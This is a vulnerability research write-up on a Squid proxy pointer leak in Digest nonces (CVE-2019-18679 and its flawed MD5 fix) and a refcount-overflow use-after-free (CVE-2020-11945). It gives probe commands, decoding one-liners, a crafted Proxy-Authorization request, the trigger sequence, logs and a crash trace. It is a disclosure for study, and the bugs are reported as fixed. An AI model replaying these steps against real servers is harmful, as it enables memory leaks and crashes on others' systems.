Memory leak and Use After Free in Squid

CVE-2019-18679: Information disclosure in Digest authentication

When configured to use the digest authentication scheme, Squid answers with a 407 Proxy Authentication Required status code to requests that don’t include a Proxy-Authorization header.

$ curl -I -x 172.16.154.169:3128 http://some-server
HTTP/1.1 407 Proxy Authentication Required
[...]
Proxy-Authenticate: Digest realm="FOO", nonce="cF+kXQAAAADwqBjrglUAAEx5wQwAAAAA", qop="auth", stale=false
[...]

The answer includes a Proxy-Authenticate HTTP header, which provides the client with the information it needs to authenticate itself. Even without looking at the source code we can notice something strange with the generated nonce. If we base64-decode it and print it as QWORDS, we get something that suspiciously looks like a memory address:

>>> ' '.join('0x%x' % i for i in unpack("QQQ", 'cF+kXQAAAADwqBjrglUAAEx5wQwAAAAA'.decode('base64')))
'0x5da45f70 0x5582eb18a8f0 0xcc1794c'

Let's get a closer look at the Digest implementation in Squid. This nonce is generated by the function authenticateDigestNonceNew defined in auth/Config.cc.

digest_nonce_h *
authenticateDigestNonceNew(void)
{
    digest_nonce_h *newnonce = static_cast < digest_nonce_h * >(digest_nonce_pool->alloc());

    // [...]

    static std::mt19937 mt(static_cast<uint32_t>(getCurrentTime() & 0xFFFFFFFF));
    static xuniform_int_distribution<uint32_t> newRandomData;
    /* create a new nonce */
    newnonce->nc = 0;
    newnonce->flags.valid = true;
    newnonce->noncedata.self = newnonce;  // (1)
    newnonce->noncedata.creationtime = current_time.tv_sec;
    newnonce->noncedata.randomdata = newRandomData(mt); 
    authDigestNonceEncode(newnonce);
    // ensure temporal uniqueness by checking for existing nonce
    while (authenticateDigestNonceFindNonce((char const *) (newnonce->key))) {
        /* create a new nonce */
        newnonce->noncedata.randomdata = newRandomData(mt);
        authDigestNonceEncode(newnonce);
    }
    hash_join(digest_nonce_cache, newnonce);
    /* the cache's link */
    authDigestNonceLink(newnonce);
    newnonce->flags.incache = true;
    debugs(29, 5, "created nonce " << newnonce << " at " << newnonce->noncedata.creationtime);
    return newnonce;
}

At (1) in the previous code snippet, we can note that newnonce->noncedata.self contains the address of the newnonce object.

After its generation, this nonce object is encoded by the function authenticateDigestNonceNonceb64 and then included in the Proxy-Authorization HTTP response header.

/* add the [www-|Proxy-]authenticate header on a 407 or 401 reply */
void
Auth::Digest::Config::fixHeader(Auth::UserRequest::Pointer auth_user_request, HttpReply *rep, Http::HdrType hdrType, HttpRequest *)
{
// [...]
    if (!nonce) {
        nonce = authenticateDigestNonceNew();
    }
// [...]
    httpHeaderPutStrf(&rep->header, hdrType, "Digest realm=\"" SQUIDSBUFPH "\", nonce=\"%s\", qop=\"%s\", stale=%s",
                      SQUIDSBUFPRINT(realm), authenticateDigestNonceNonceb64(nonce), QOP_AUTH, stale ? "true" : "false");
}
[...]
authenticateDigestNonceNonceb64(const digest_nonce_h * nonce)
{
    if (!nonce)
        return NULL;
    return (char const *) nonce->key;
}

The function authenticateDigestNonceNonceb64 simply returns the key field of the object. The nonce->key string is initialized in authDigestNonceEncode, which performs a mere base64 encoding of the noncedata structure without any form of hashing:

static void
authDigestNonceEncode(digest_nonce_h * nonce)
{
    if (!nonce)
        return;
    if (nonce->key)
        xfree(nonce->key);
    nonce->key = xcalloc(base64_encode_len(sizeof(digest_nonce_data)), 1);
    struct base64_encode_ctx ctx;
    base64_encode_init(&ctx);
    size_t blen = base64_encode_update(&ctx, reinterpret_cast<char*>(nonce->key), sizeof(digest_nonce_data), reinterpret_cast<const uint8_t*>(&(nonce->noncedata)));
    blen += base64_encode_final(&ctx, reinterpret_cast<char*>(nonce->key)+blen);
}

As such, since _digest_nonce_data contains a pointer to the digest_nonce_h object, we get it in the Proxy-Authorization HTTP header.

/* data to be encoded into the nonce's b64 representation */
struct _digest_nonce_data {
    time_t creationtime;
    /* in memory address of the nonce struct (similar purpose to an ETag) */
    digest_nonce_h *self;
    uint32_t randomdata;
};

We can check it in Squid's logs by setting the right verbosity.

$ nc squid.local 3128
GET http://some-server HTTP/1.0

HTTP/1.1 407 Proxy Authentication Required
Server: squid/4.8
Mime-Version: 1.0
Date: [...] 14:28:06 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 3384
X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0
Vary: Accept-Language
Content-Language: en
Proxy-Authenticate: Digest realm="FOO", nonce="9ieKXQAAAACAyNCjzlUAAFY8tqAAAAAA", qop="auth", stale=false
[...]

$ python
>>> hex(unpack("Q", '9ieKXQAAAACAyNCjzlUAAFY8tqAAAAAA'.decode('base64')[8:16])[0])
'0x55cea3d0c880'

[...] 14:28:06.755 kid1| 29,4| UserRequest.cc(294) authenticate: No Proxy-Auth header and no working alternative. Requesting auth header.
[...] 14:28:06.755 kid1| 29,9| UserRequest.cc(491) addReplyAuthHeader: headertype:Proxy-Authenticate[46] authuser:NULL
[...] 14:28:06.755 kid1| 29,5| Config.cc(123) authenticateDigestNonceNew: newnonce = 0x55cea3d0c880 <------
[...] 14:28:06.755 kid1| 29,5| Config.cc(170) authenticateDigestNonceNew: seed = 1569335286
[...] 14:28:06.755 kid1| 29,5| Config.cc(171) authenticateDigestNonceNew: creationtime = 1569335286
[...] 14:28:06.755 kid1| 29,9| Config.cc(353) authenticateDigestNonceFindNonce: looking for nonceb64 '9ieKXQAAAACAyNCjzlUAAFY8tqAAAAAA' in the nonce cache.

That gives us a nice leak to defeat ASLR.

This vulnerability was reported by another researcher before we did and was fixed in Squid 4.9 released in November 2019.

However, the fix was a little odd, instead of removing the digest_nonce_h pointer from the __digest_nonce_data, they decided to hash the structure with MD5 and return the result to the user.

diff --git a/src/auth/digest/Config.cc b/src/auth/digest/Config.cc
index 8621d8eb9f..5fd5a95b16 100644
--- a/src/auth/digest/Config.cc
+++ b/src/auth/digest/Config.cc
@@ -108,11 +108,14 @@ authDigestNonceEncode(digest_nonce_h * nonce)
     if (nonce->key)
         xfree(nonce->key);

-    nonce->key = xcalloc(base64_encode_len(sizeof(digest_nonce_data)), 1);
-    struct base64_encode_ctx ctx;
-    base64_encode_init(&ctx);
-    size_t blen = base64_encode_update(&ctx, reinterpret_cast<char*>(nonce->key), sizeof(digest_nonce_data), reinterpret_cast<const uint8_t*>(&(nonce->noncedata)));
-    blen += base64_encode_final(&ctx, reinterpret_cast<char*>(nonce->key)+blen);
+    SquidMD5_CTX Md5Ctx;
+    HASH H;
+    SquidMD5Init(&Md5Ctx);
+    SquidMD5Update(&Md5Ctx, reinterpret_cast<const uint8_t *>(&nonce->noncedata), sizeof(nonce->noncedata));
+    SquidMD5Final(reinterpret_cast<uint8_t *>(H), &Md5Ctx);
+
+    nonce->key = xcalloc(sizeof(HASHHEX), 1);
+    CvtHex(H, static_cast<char *>(nonce->key));
 }

As such, if an attacker were to determine the value of every component used to compute the MD5 digest, it would be possible to perform an offline bruteforce attack on the MD5 digest to retrieve the digest_nonce_h pointer.

Let's review these components.

The first field in __digest_nonce_data, creationtime is the timestamp in seconds of the digest object creation, which is known by the user.

The other field to determine is randomdata, a uint32_t value generated by a Mersenne Twister PRNG.

static std::mt19937 mt(static_cast<uint32_t>(getCurrentTime() & 0xFFFFFFFF));
static xuniform_int_distribution<uint32_t> newRandomData;
// […]
newnonce->noncedata.randomdata = newRandomData(mt);

This PRNG is seeded when the first nonce is generated with the current timestamp in seconds. Thus, to be able to determine randomdata, an attacker would need to know:

• the timestamp of the first request handled by Squid since its start,
• the number of nonces generated by Squid since its start.

However, by exploiting a vulnerability to crash the Squid server, it would be possible to determine these two values, as the PRNG would be seeded at the first request after the crash.

This would allow an attacker to perform a bruteforce attack on the MD5 digest to retrieve the digest_nonce_h pointer thus defeating ASLR.

On x86_64 Linux, the userland address space is from 0 to 1<<47 (0x800000000000). Since the allocations of digest_nonce_h objects are always aligned to 0x10 bytes, the entire key space to bruteforce is 47-4 = 43 bits. Considering that a modern password cracking machine can compute 272 billions MD5 hashes per second, a full bruteforce attack would take about 30 seconds.

This vulnerability was silently patched in Squid 4.10 by removing the digest_nonce_h pointer from the structure.

CVE-2020-11945 : Use-After-Free in Digest authentication

The digest_nonce_h structure is defined in auth/digest/Config.h.

struct _digest_nonce_h : public hash_link {
    digest_nonce_data noncedata;
    /* number of uses we've seen of this nonce */
    unsigned long nc;
    /* reference count */
    short references;
    /* the auth_user this nonce has been tied to */
    Auth::Digest::User *user;
    /* has this nonce been invalidated ? */
    struct {
        bool valid;
        bool incache;
    } flags;
};

As a client may send multiple requests in parallel, the nonce object contains a reference counter. Nowadays, using a signed 16 bits integer to store a reference counter seems pretty dangerous as it can be overflown, leading to a Use-After-Free vulnerability.

Let's see if that may be the case here.

By looking at the code, we understand that this reference counter is modified as follows:

• it is set to 1 when the nonce object is created,
• it is incremented by 1 when a new request using the nonce is received by Squid,
• it is decremented by 1 when the request is completed, i.e. when the underlying UserRequest object is destroyed,
• it is decremented by 1 when the nonce is considered as stale, which means:
  • the nonce expiration date was reached,
  • the nonce was used to send more requests that the authorized threshold (set in the nonce_max_count configuration setting),
  • there is something wrong in the way the nonce was used, for example, the nonce count sent along the request does not match the previous one's.

When the counter reaches 0, the nonce object is freed.

Therefore, if we perform enough requests for the counter to be overflown before the associated UserRequest objects are garbage collected, we should be able to trigger a Use-After-Free vulnerability.

Triggering the vulnerability

First, we generate a new nonce by sending the following HTTP request to Squid:

GET http://some-server/ HTTP/1.0

HTTP/1.1 407 Proxy Authentication Required
Server: squid/4.8
Mime-Version: 1.0
Date: [...] 16:10:50 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 3384
X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0
Vary: Accept-Language
Content-Language: en
Proxy-Authenticate: Digest realm="FOO", nonce="ZtaIXQAAAADAqOsIEVYAAIB7GasAAAAA", qop="auth", stale=false
X-Cache: MISS from cache
Via: 1.1 cache (squid/4.8)
Connection: close

In Squid's logs, we can observe the nonce creation (with the right verbosity level):

[...] 16:10:50 kid1| nonce '0x558b603bc3a0' now at '1'.

Then, we establish a large number of TCP sessions. Once all of them reach their established state, we want to send HTTP requests so that:

• their nonce is the one that was previously created,
• their parameter "response" is an arbitrary chosen 128 bits word in hexadecimal (for the authentication to fail).

GET http://some-server/ HTTP/1.0
Proxy-Authorization: Digest username="username", realm="FOO", nonce="ZtaIXQAAAADAqOsIEVYAAIB7GasAAAAA", uri="http://some-server/", response="41414141414141414141414141414141", nc="00000000", qop="auth", cnonce="some_cnonce"

The idea is to enter the code path where the reference counter is increased but by performing a failed authentication, thus preventing the "nonce count" of the object from being incremented. As such, with this code path it is possible to arbitrary increase the reference counter.

[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '32760'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '32761'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '32762'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '32763'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '32764'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '32765'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '32766'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '32767'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '-32768'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '-32767'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '-32766'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '-32765'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '-32764'.
[...] 16:18:02 kid1| nonce '0x558b603bc3a0' now at '-32763'.

Since the function responsible for decrementing the reference counter, authDigestNonceUnlink, does not actually perform the action when the value is negative, we only need to perform 32768 requests simultaneously.

authDigestNonceUnlink(digest_nonce_h * nonce)
{
    assert(nonce != NULL);
    if (nonce->references > 0) {
        -- nonce->references;
    } else {
        debugs(29, DBG_IMPORTANT, "Attempt to lower nonce " << nonce << " refcount below 0!");
    }
    debugs(29, 9, "nonce '" << nonce << "' now at '" << nonce->references << "'.");
    if (nonce->references == 0)
        authenticateDigestNonceDelete(nonce);
}

We can then increment the counter all the way to -1 using single requests.

[...] 16:21:27 kid1| nonce '0x558b603bc3a0' now at '-6995'.
[...] 16:21:27 kid1| Attempt to lower nonce 0x558b603bc3a0 refcount below 0!
[...]
[...] 16:28:58 kid1| nonce '0x558b603bc3a0' now at '-1'.
[...] 16:28:58 kid1| Attempt to lower nonce 0x558b603bc3a0 refcount below 0!

At this point we have a nonce object with a reference counter at -1. To achieve the Use-After-Free situation we will need two kinds of requests:

• a request A whose lifespan can be controlled,
• a request B that will increment the reference counter to 1 and then free the object when it is done.

For the requests A, we can perform a successful authentication with the nonce for a request to controlled server. Then, on the server side, we can arbitrarily delay the response, which will have for effect to prevent Squid from destroying the associated UserRequest object.

For requests B, the same type of requests that was used to increase the reference counter cannot be used. Indeed, when a nonce object is deleted before being removed from the cache (which is basically the list of valid nonces), Squid crashes with a failed assertion.

static void
authenticateDigestNonceDelete(digest_nonce_h * nonce)
{
    if (nonce) {
        assert(nonce->references == 0);
#if UNREACHABLECODE
        if (nonce->flags.incache)
            hash_remove_link(digest_nonce_cache, nonce);
#endif
        assert(!nonce->flags.incache);
        safe_free(nonce->key);
        digest_nonce_pool->freeOne(nonce);
    }
}

Therefore, we need to call the function authDigestNoncePurge before freeing the nonce object.

void
authDigestNoncePurge(digest_nonce_h * nonce)
{
    if (!nonce)
        return;
    if (!nonce->flags.incache)
        return;
    hash_remove_link(digest_nonce_cache, nonce);
    nonce->flags.incache = false;
    /* the cache's link */
    authDigestNonceUnlink(nonce);
}

By following the code paths that lead to a call to authDigestNoncePurge, we can find two approaches to remove the nonce from the cache:

• wait for the nonce to be expired,
• invalidate the nonce by using it with an invalid nonce count, 0 for example.

The second one is of course more convenient so that’s what we're going to use.

Now we just need to:

• perform 2 requests A, incrementing the reference counter to 1,

[...] 12:12:33.502 kid1| 29,9| Config.cc(330) authDigestNonceUnlink: nonce '0x559879eb3870' now at '-1'.
[...] 12:12:48.294 kid1| 29,5| UserRequest.cc(99) UserRequest: initialised request 0x559879eb5900
[...] 12:12:48.294 kid1| 29,9| Config.cc(353) authenticateDigestNonceFindNonce: looking for nonceb64 'KgiKXQAAAABwOOt5mFUAAB1HfnYAAAAA' in the nonce cache.
[...] 12:12:48.294 kid1| 29,9| Config.cc(360) authenticateDigestNonceFindNonce: Found nonce '0x559879eb3870'
[...] 12:12:48.294 kid1| nonce '0x559879eb3870' now at '0'.
[...] 12:14:05.846 kid1| 29,5| UserRequest.cc(99) UserRequest: initialised request 0x559879a62960
[...] 12:14:05.847 kid1| 29,9| Config.cc(353) authenticateDigestNonceFindNonce: looking for nonceb64 'KgiKXQAAAABwOOt5mFUAAB1HfnYAAAAA' in the nonce cache.
[...] 12:14:05.847 kid1| 29,9| Config.cc(360) authenticateDigestNonceFindNonce: Found nonce '0x559879eb3870'
[...] 12:14:05.847 kid1| nonce '0x559879eb3870' now at '1'.

• perform 1 request B, incrementing the counter to 2 then decrementing it to 1 after removing it from the cache,

[...] 12:15:02.539 kid1| 29,5| UserRequest.cc(99) UserRequest: initialised request 0x559879eb5fe0
[...] 12:15:02.540 kid1| 29,9| Config.cc(353) authenticateDigestNonceFindNonce: looking for nonceb64 'KgiKXQAAAABwOOt5mFUAAB1HfnYAAAAA' in the nonce cache.
[...] 12:15:02.540 kid1| 29,9| Config.cc(360) authenticateDigestNonceFindNonce: Found nonce '0x559879eb3870'
[...] 12:15:02.540 kid1| nonce '0x559879eb3870' now at '2'.
[...] 12:15:02.541 kid1| 29,3| UserRequest.cc(181) authenticate: foo' validated OK but nonce stale: KgiKXQAAAABwOOt5mFUAAB1HfnYAAAAA
[...] 12:15:02.542 kid1| 29,9| Config.cc(330) authDigestNonceUnlink: nonce '0x559879eb3870' now at '1'.

• close a request A, decrementing the counter to 0, thus freeing the nonce object,

[...] 12:17:13.982 kid1| 29,9| Config.cc(330) authDigestNonceUnlink: nonce '0x559879eb3870' now at '0'.
[...] 12:17:13.983 kid1| 29,5| UserRequest.cc(105) ~UserRequest: freeing request 0x559879eb5900

Sadly, we aren't done yet. We freed the nonce object but its allocation did not undergo the free function. Indeed, in the Digest implementation in Squid, digest_nonce_h objects are allocated in an allocation pool called MemPoolMalloc.

To properly free the nonce allocation, we need to trigger the pool garbage collector. In Squid's default configuration, this can be done by allocating and freeing at least 300 nonce objects (by sending B requests with arbitrary nonces).

[...] 12:51:20 kid1| MemPoolMalloc::clean freeing 0x559879eb3870.
[...] 12:51:20 kid1| MemPoolMalloc::clean freeing 0x559879f24a90.
[...] 12:51:20 kid1| MemPoolMalloc::clean freeing 0x559879f24a10.
[...] 12:51:20 kid1| MemPoolMalloc::clean freeing 0x559879f24990.
[…]

At this point, there is a UserRequest object with a dangling pointer to a former digest_nonce_h. When this last UserRequest is destroyed, the function authDigestNonceUnlink is called with this dangling pointer.

If we close this last request, without doing any spray beforehand, we most likely get an abort during the free execution:

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f62ed4af801 in __GI_abort () at abort.c:79
#2  0x00007f62ed4f8897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f62ed625b9a "%s\n")
    at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007f62ed4ff90a in malloc_printerr (str=str@entry=0x7f62ed627870 "double free or corruption (out)") at malloc.c:5350
#4  0x00007f62ed506e75 in _int_free (have_lock=0, p=0x5596395ba960, av=0x7f62ed85ac40 <main_arena>) at malloc.c:4278
#5  __GI___libc_free (mem=0x5596395ba970) at malloc.c:3124
#6  0x00005596373a3054 in authDigestNonceUnlink(_digest_nonce_h*) ()

To summarize, we successfully triggered a Use-After-Free on a Squid 4.8 default installation with the Digest authentication module enabled. However, the difficulty of ensuring that the nonce count has the value -1 before sending the valid authentication renders the exploitation in the wild unlikely.

Timelines

Digest Nonce information disclosure (wrong fix for CVE-2019-18679):

• 2019-11-20: Report sent to the Squid team
• 2020-01-29: Vulnerability fixed in upstream
• 2020-04-19: Vulnerability fixed in Squid 4.11 (without any advisory)

Digest Nonce Use-After-Free (CVE-2020-11945):

• 2019-11-19: Report sent to the Squid team
• 2020-03-31: Pull request with a fix for the vulnerability from Maxime Desbrus of Synacktiv
• 2020-04-19: Vulnerability fixed in Squid 4.11